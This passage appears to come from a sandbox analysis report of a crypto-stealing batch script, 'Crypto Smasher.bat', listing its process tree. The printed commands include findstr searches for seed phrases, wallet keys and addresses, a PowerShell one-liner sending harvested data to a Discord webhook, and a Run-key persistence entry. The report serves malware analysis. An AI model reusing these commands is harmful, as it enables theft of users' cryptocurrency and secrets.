    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\config.json"
    3⤵
    PID:4732
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\config.json"
    3⤵
    PID:2828
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\config.json"
    3⤵
    PID:1820
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\config.json"
    3⤵
    PID:6020
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\config.json"
    3⤵
    PID:2288
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\config.json"
    3⤵
    PID:3292
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\config.json"
    3⤵
    PID:5040
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\config.json"
    3⤵
    PID:2996
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\config.json"
    3⤵
    PID:2136
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Word\config.json"
    3⤵
    PID:2392
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\config.json"
    3⤵
    PID:5084
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\config.json"
    3⤵
    PID:3488
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Extensions\config.json"
    3⤵
    PID:4960
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\config.json"
    3⤵
    PID:4796
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\config.json"
    3⤵
    PID:6052
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\config.json"
    3⤵
    PID:2592
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\cache2\config.json"
    3⤵
    PID:4788
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\cache2\doomed\config.json"
    3⤵
    PID:6044
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\cache2\entries\config.json"
    3⤵
    PID:4540
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\crashes\config.json"
    3⤵
    PID:2108
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\crashes\events\config.json"
    3⤵
    PID:484
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\datareporting\config.json"
    3⤵
    PID:3400
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\datareporting\glean\config.json"
    3⤵
    PID:4780
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\datareporting\glean\db\config.json"
    3⤵
    PID:4972
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\datareporting\glean\events\config.json"
    3⤵
    PID:4216
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\minidumps\config.json"
    3⤵
    PID:4856
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\security_state\config.json"
    3⤵
    PID:5156
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\startupCache\config.json"
    3⤵
    PID:3376
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\config.json"
    3⤵
    PID:1524
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\events\config.json"
    3⤵
    PID:3592
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Pending Pings\config.json"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:5420
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\config.json"
    3⤵
    PID:5368
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9xv10wby.Admin\config.json"
    3⤵
    PID:4736
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\config.json"
    3⤵
    PID:2328
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\bookmarkbackups\config.json"
    3⤵
    PID:4148
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\crashes\config.json"
    3⤵
    PID:4128
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\crashes\events\config.json"
    3⤵
    PID:5708
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\datareporting\config.json"
    3⤵
    PID:4076
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\datareporting\glean\config.json"
    3⤵
    PID:2200
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\datareporting\glean\db\config.json"
    3⤵
    PID:2204
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\datareporting\glean\events\config.json"
    3⤵
    PID:4748
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\datareporting\glean\pending_pings\config.json"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:5160
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\datareporting\glean\tmp\config.json"
    3⤵
    PID:5024
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\extension-store\config.json"
    3⤵
    PID:5256
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\extension-store-menus\config.json"
    3⤵
    PID:2796
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\minidumps\config.json"
    3⤵
    PID:2032
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\security_state\config.json"
    3⤵
    PID:5616
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\sessionstore-backups\config.json"
    3⤵
    PID:1236
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\config.json"
    3⤵
    PID:3300
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\permanent\config.json"
    3⤵
    PID:4508
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\permanent\chrome\config.json"
    3⤵
    PID:3384
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\permanent\chrome\idb\config.json"
    3⤵
    PID:6124
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\config.json"
    3⤵
    PID:4184
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\config.json"
    3⤵
    PID:3432
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\config.json"
    3⤵
    PID:2336
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\config.json"
    3⤵
    PID:2680
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\config.json"
    3⤵
    PID:5780
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\config.json"
    3⤵
    PID:1376
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\RegisterComplete\config.json"
    3⤵
    PID:3264
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\RepairConvert\config.json"
    3⤵
    PID:5004
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\RestartExport\config.json"
    3⤵
    PID:4456
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\SetMeasure\config.json"
    3⤵
    PID:2432
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\SplitEnable\config.json"
    3⤵
    PID:5508
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Sun\config.json"
    3⤵
    PID:5184
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Sun\Java\config.json"
    3⤵
    PID:1612
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Sun\Java\Deployment\config.json"
    3⤵
    PID:2556
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\TestMount\config.json"
    3⤵
    PID:2820
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\TraceDisconnect\config.json"
    3⤵
    PID:3040
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\TraceGet\config.json"
    3⤵
    PID:5784
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\UninstallTest\config.json"
    3⤵
    PID:4188
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\UseUninstall\config.json"
    3⤵
    PID:1260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$w='https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN';$c=Get-Content -Path 'C:\Users\Admin\AppData\Local\Temp\crypto_25630\crypto_data.txt' -Raw;if($c.length -gt 1900){$boundary='----WebKitFormBoundary'+(-join((65..90)|Get-Random-Count16|ForEach-Object{[char]$_}));$body='--'+$boundary+\"`r`nContent-Disposition: form-data; name=`\"file1`\"; filename=`\"crypto_data.txt`\"`r`nContent-Type: text/plain`r`n`r`n\"+$c+\"`r`n--$boundary--\";Invoke-RestMethod -Uri $w -Method Post -Body $body -ContentType \"multipart/form-data; boundary=$boundary\"}else{$p=@{content=$c}|ConvertTo-Json;Invoke-RestMethod -Uri $w -Method Post -Body $p -ContentType 'application/json'}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5524
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "CryptoScanner" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Crypto Smasher.bat" /f
    3⤵
    - Adds Run key to start application
    PID:1296
- - C:\Windows\system32\timeout.exe
    timeout /t 1800 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3828

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Crypto Smasher.bat" hidden
1⤵
- Creates a file in the Startup directory
- Executes a command shell one-liner
PID:4772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c hostname
  2⤵
  - Executes a command shell one-liner
  PID:3912
- - C:\Windows\system32\HOSTNAME.EXE
    hostname
    3⤵
    PID:4344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "(Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing).Content" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing).Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\Desktop\*.txt" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1688
- - C:\Windows\system32\findstr.exe
    findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\Desktop\*.txt"
    3⤵
    PID:3456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\Desktop\*.txt" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1140
- - C:\Windows\system32\findstr.exe
    findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\Desktop\*.txt"
    3⤵
    PID:4220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\Documents\*.txt" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5172
- - C:\Windows\system32\findstr.exe
    findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\Documents\*.txt"
    3⤵
    PID:3208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\Documents\*.txt" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5772
- - C:\Windows\system32\findstr.exe
    findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\Documents\*.txt"
    3⤵
    PID:2540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\Downloads\*.txt" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3400
- - C:\Windows\system32\findstr.exe
    findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\Downloads\*.txt"
    3⤵
    PID:1124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\Downloads\*.txt" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4780
- - C:\Windows\system32\findstr.exe
    findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\Downloads\*.txt"
    3⤵
    PID:1724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\AppData\Roaming\*.txt" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3920
- - C:\Windows\system32\findstr.exe
    findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\AppData\Roaming\*.txt"
    3⤵
    PID:4720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\AppData\Roaming\*.txt" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2604
- - C:\Windows\system32\findstr.exe
    findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\AppData\Roaming\*.txt"
    3⤵
    PID:3588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\AppData\Local\*.txt" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5412
- - C:\Windows\system32\findstr.exe
    findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\AppData\Local\*.txt"
    3⤵
    PID:5728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\AppData\Local\*.txt" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3496
- - C:\Windows\system32\findstr.exe
    findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\AppData\Local\*.txt"
    3⤵
    PID:5552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c findstr /i "[13][a-km-zA-HJ-NP-Z1-9][a-km-zA-HJ-NP-Z1-9][a-km-zA-HJ-NP-Z1-9][a-km-zA-HJ-NP-Z1-9]" "C:\Users\Admin\*.txt" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1524
- - C:\Windows\system32\findstr.exe
    findstr /i "[13][a-km-zA-HJ-NP-Z1-9][a-km-zA-HJ-NP-Z1-9][a-km-zA-HJ-NP-Z1-9][a-km-zA-HJ-NP-Z1-9]" "C:\Users\Admin\*.txt"
    3⤵
    PID:4800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c findstr /i "0x[a-f0-9][a-f0-9][a-f0-9][a-f0-9][a-f0-9]" "C:\Users\Admin\*.txt" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3592
- - C:\Windows\system32\findstr.exe
    findstr /i "0x[a-f0-9][a-f0-9][a-f0-9][a-f0-9][a-f0-9]" "C:\Users\Admin\*.txt"
    3⤵
    PID:5832
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\config.json"
  2⤵
  PID:2664
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\AddPing\config.json"
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5280
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Adobe\config.json"
  2⤵
  PID:4968
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\config.json"
  2⤵
  PID:4132
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\DC\config.json"
  2⤵
  PID:2988
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\DC\Collab\config.json"
  2⤵
  PID:4516
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\DC\Security\config.json"
  2⤵
  PID:1372
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Adobe\Flash Player\config.json"
  2⤵
  PID:4116
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Adobe\Flash Player\NativeCache\config.json"
  2⤵
  PID:3296
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\config.json"
  2⤵
  PID:4668
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\AddIns\config.json"
  2⤵
  PID:4424
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\config.json"
  2⤵
  PID:1324
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\config.json"
  2⤵
  PID:2964
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\Keys\config.json"
  2⤵
  PID:1424
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\config.json"
  2⤵
  PID:2552
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-552508041-2681165170-3229858294-1000\config.json"
  2⤵
  PID:1208
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Excel\config.json"
  2⤵
  PID:3392
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\config.json"
  2⤵
  PID:3336
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\config.json"
  2⤵
  PID:5300
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\config.json"
  2⤵
  PID:4432
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\config.json"
  2⤵
  PID:3016
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\config.json"
  2⤵
  PID:1516
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\config.json"
  2⤵
  PID:204
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Office\config.json"
  2⤵
  PID:4420
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\config.json"
  2⤵
  PID:3600
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\OneNote\config.json"
  2⤵
  PID:5388
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\OneNote\16.0\config.json"
  2⤵
  PID:1376
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Outlook\config.json"
  2⤵
  PID:4592
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Proof\config.json"
  2⤵
  PID:6040
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\config.json"
  2⤵
  PID:4072
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-552508041-2681165170-3229858294-1000\config.json"
  2⤵
  PID:2948
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\config.json"
  2⤵
  PID:5492
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\config.json"
  2⤵
  PID:5588
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\neutral\config.json"
  2⤵
  PID:4868
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\config.json"
  2⤵
  PID:768
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\config.json"
  2⤵
  PID:6024
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\config.json"
  2⤵
  PID:2856
- C:\Windows\system32\findstr.exe
